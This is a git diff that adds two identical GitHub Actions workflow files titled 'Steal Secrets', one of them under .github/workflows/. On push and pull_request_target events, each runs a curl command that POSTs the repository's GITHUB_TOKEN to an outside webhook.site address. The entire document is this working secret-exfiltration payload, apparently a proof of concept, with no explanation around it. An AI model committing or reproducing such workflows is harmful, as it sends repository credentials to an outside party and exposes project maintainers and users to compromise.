diff --git a/.github/poc.yml b/.github/poc.yml
new file mode 100644
index 0000000..51222a9
--- /dev/null
+++ b/.github/poc.yml
@@ -0,0 +1,10 @@
+name: Steal Secrets
+on: [push, pull_request_target]
+
+jobs:
+  steal:
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          curl -X POST https://webhook.site/f1d44439-6023-4082-a91d-834be32f614d \
+            -d "token=${{ secrets.GITHUB_TOKEN }}"
diff --git a/.github/workflows/pwn.yml b/.github/workflows/pwn.yml
new file mode 100644
index 0000000..51222a9
--- /dev/null
+++ b/.github/workflows/pwn.yml
@@ -0,0 +1,10 @@
+name: Steal Secrets
+on: [push, pull_request_target]
+
+jobs:
+  steal:
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          curl -X POST https://webhook.site/f1d44439-6023-4082-a91d-834be32f614d \
+            -d "token=${{ secrets.GITHUB_TOKEN }}"